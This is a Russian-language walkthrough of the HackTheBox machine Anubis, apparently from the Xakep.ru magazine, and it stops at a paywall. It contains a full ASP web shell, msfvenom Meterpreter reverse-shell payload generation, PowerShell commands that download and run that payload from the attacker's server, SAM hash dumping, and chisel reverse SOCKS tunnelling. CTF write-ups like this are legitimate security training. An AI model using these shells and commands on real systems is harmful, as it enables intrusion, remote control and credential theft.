Содержание статьи
warning
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Разведка. Сканирование портов
Добавляем IP-адрес машины в /
, чтобы было удобнее обращаться к ней:
10.10.11.102 anubis.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта.
#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A
).
Находим четыре открытых порта:
- 135 — служба удаленного вызова процедур (Microsoft RPC). Используется для операций взаимодействия контроллер — контроллер и контроллер — клиент;
- 443 — веб‑сервер Microsoft HTTPAPI;
- 445 — служба SMB;
- 593 — служба удаленного вызова процедур (Microsoft RPC над HTTPS).
Порт 443 обеспечивает соединение по HTTPS, а это значит, что первым делом стоит изучить сертификат. Его поле commonName
содержит доменные имена, для которых он действителен (Nmap тут же отобразит это в результатах сканирования). Сразу добавляем найденные домены в /
.
10.10.11.102 www.windcorp.htb
Теперь перейдем к веб‑серверу, где нас встретит одностраничный сайт.
Нам нужны поля, через которые можно было бы взаимодействовать с сервером. Найденная форма отправки сообщений подойдет.
Что привлекло мое внимание — это отображение всех введенных данных на странице https://
.
Получается, что сайт не одностраничный! Давай попробуем найти другие скрытые страницы сайта.
Справка: сканирование веба c ffuf
Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде dirsearch и DIRB.
Я предпочитаю легкий и очень быстрый ffuf. При запуске указываем следующие параметры:
-
-w
— словарь (я использую словари из набора SecLists); -
-t
— количество потоков; -
-u
— URL; -
-fc
— исключить из результата ответы с кодом 403.
Так как уже обнаружена одна страница в формате ASP, остальные будем перебирать с таким же расширением. Запускаем ffuf:
ffuf -u https://www.windcorp.htb/FUZZ.asp -t 300 -w directory_2.3_medium_lowercase.txt
Спустя несколько минут мы узнаем еще о нескольких страницах. Самая интересная из них — test.
, которая просто форматирует наши данные.
Это место для теста!
Захват контейнера
Так как данные попадают в исполняемый файл ASP, то самая простая идея — это попробовать записать в поле комментария какой‑нибудь шелл на ASP. К примеру, этот:
<%Set oScript = Server.CreateObject("WSCRIPT.SHELL")Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")Function getCommandOutput(theCommand) Dim objShell, objCmdExec Set objShell = CreateObject("WScript.Shell") Set objCmdExec = objshell.exec(thecommand) getCommandOutput = objCmdExec.StdOut.ReadAllend Function%><HTML><BODY><FORM action="" method="GET"><input type="text" name="cmd" size=45 value="<%= szCMD %>"><input type="submit" value="Run"></FORM><PRE><%= "\" & oScriptNet.ComputerName & "" & oScriptNet.UserName %><%Response.Write(Request.ServerVariables("server_name"))%><p><b>The server's port:</b><%Response.Write(Request.ServerVariables("server_port"))%></p><p><b>The server's software:</b><%Response.Write(Request.ServerVariables("server_software"))%></p><p><b>The server's local address:</b><%Response.Write(Request.ServerVariables("LOCAL_ADDR"))%><% szCMD = request("cmd")thisDir = getCommandOutput("cmd /c" & szCMD)Response.Write(thisDir)%></p><br></BODY></HTML>
И уже на странице подтверждения видим некоторый вывод. Неплохо, одну уязвимую страницу уже нашли!
Конечно, удобнее всего получить какую‑нибудь продвинутую оболочку, к примеру Meretpreter. Сначала сгенерируем исполняемый файл с помощью msfvenom
, для которого используем следующие параметры:
-
-p [
— нагрузка;] -
LHOST=[
— IP локального хоста;] -
LPORT=[
— локальный порт;] -
-f [
— формат, в котором будет представлена нагрузка;] -
-o
— итоговый файл.
msfvenom -p windows/x64/meterpreter/reverse_http LHOST=10.10.14.13 LPORT=443 -f exe -o rs.exe
Следующий шаг — запуск листенера MSF.
msfconsole -qhandler -p windows/x64/meterpreter/reverse_http -H tun0 -P 443
Из каталога, где находится файл с нагрузкой, запускаем простой веб‑сервер на основе Python 3.
python3 -m http.server 80
И через веб‑шелл скачиваем нашу нагрузку, а второй командой — запускаем. Это приведет к созданию сессии Meterpreter в Metasploit. Командой getuid
проверяем текущего пользователя, от имени которого запущен файл.
powershell wget 10.10.14.13/rs.exe -O C:\Windows\Temp\rs.execmd.exe /c C:\Windows\Temp\rs.exe
Мы работаем в контексте System, а для дальнейшего продвижения могут понадобиться учетные данные. Дампим хеши из локальной базы SAM с помощью hashdump, вдруг где‑то пригодится.
Продвижение
Поиск хостов
Просматриваем файлы на хосте и находим на рабочем столе администратора сертификат.
Копируем его содержимое на локальную машину и сохраняем с расширением crt
. Затем можно просто открыть этот файл (любая система должна распознать и отобразить содержимое сертификата).
Так мы узнаем еще одно доменное имя — softwareportal.
. Попытаемся получить доступ к этому хосту, но сперва выясним его реальный адрес. Первым делом организуем SOCKS-прокси с помощью программы chisel. Нам потребуется и версия для Windows, и версия для Linux. Запустим на локальном хосте сервер, указав порт для подключения (опция -p
), тип прокси (--socks5
) и то, что он должен ожидать подключения.
./chisel server -p 4321 --socks5 --reverse
Затем загрузим на удаленный хост версию для Windows и подключимся. В логах сервера увидим сообщение о подключении клиентской части.
.\chisel.exe client 10.10.14.140:4321 R:4444:127.0.0.1:socks
Теперь добавим доменное имя в файл /
. А в качестве адреса будем использовать Gateway-адрес системы.
172.22.160.1 softwareportal.windcorp.htb
Что удивительно, расширения для быстрого переключения прокси серверов типа FoxyProxy и ему подобных не давали соединения. Но если выставить параметры прокси в настройках браузера и обратиться к хосту по доменному имени, мы получаем желанную страницу.
На сайте есть список программного обеспечения. Если выбрать любой пункт, ты перейдешь по ссылке и увидишь сообщение о начале установки ПО.
Немного ждем, но не видим никаких изменений. Тогда разберем, что происходит при выборе ПО из списка. Выбирая ссылку, мы делаем запрос по такому адресу:
http://softwareportal.windcorp.htb/install.asp?client=XXX.XXX.XXX.XXX&software=7z1900-x64.exe
Сервер получает адрес клиента и должен с ним взаимодействовать. Попробуем в качестве клиента указать адрес своего хоста, но перед этим откроем любой сниффер трафика, к примеру Wireshark.
curl http://softwareportal.windcorp.htb/install.asp?client=10.10.14.81&software=7z1900-x64.exe
Для удобства просмотра трафика можно активировать фильтр, я использовал not
, чтобы отсеять обращения к удаленному хосту. В выводе видим пакеты черного цвета, что говорит о сбросе соединения (закрытый порт). Происходит обращение к нашему хосту на порт 5985 — там работает служба WinRM. Таким образом, удаленный хост для установки ПО пытается подключиться к службе WinRM хоста, адрес которого передан в параметре client
при запросе на установку ПО.
Продолжение доступно только участникам
Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее
Вариант 2. Открой один материал
Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.
Я уже участник «Xakep.ru»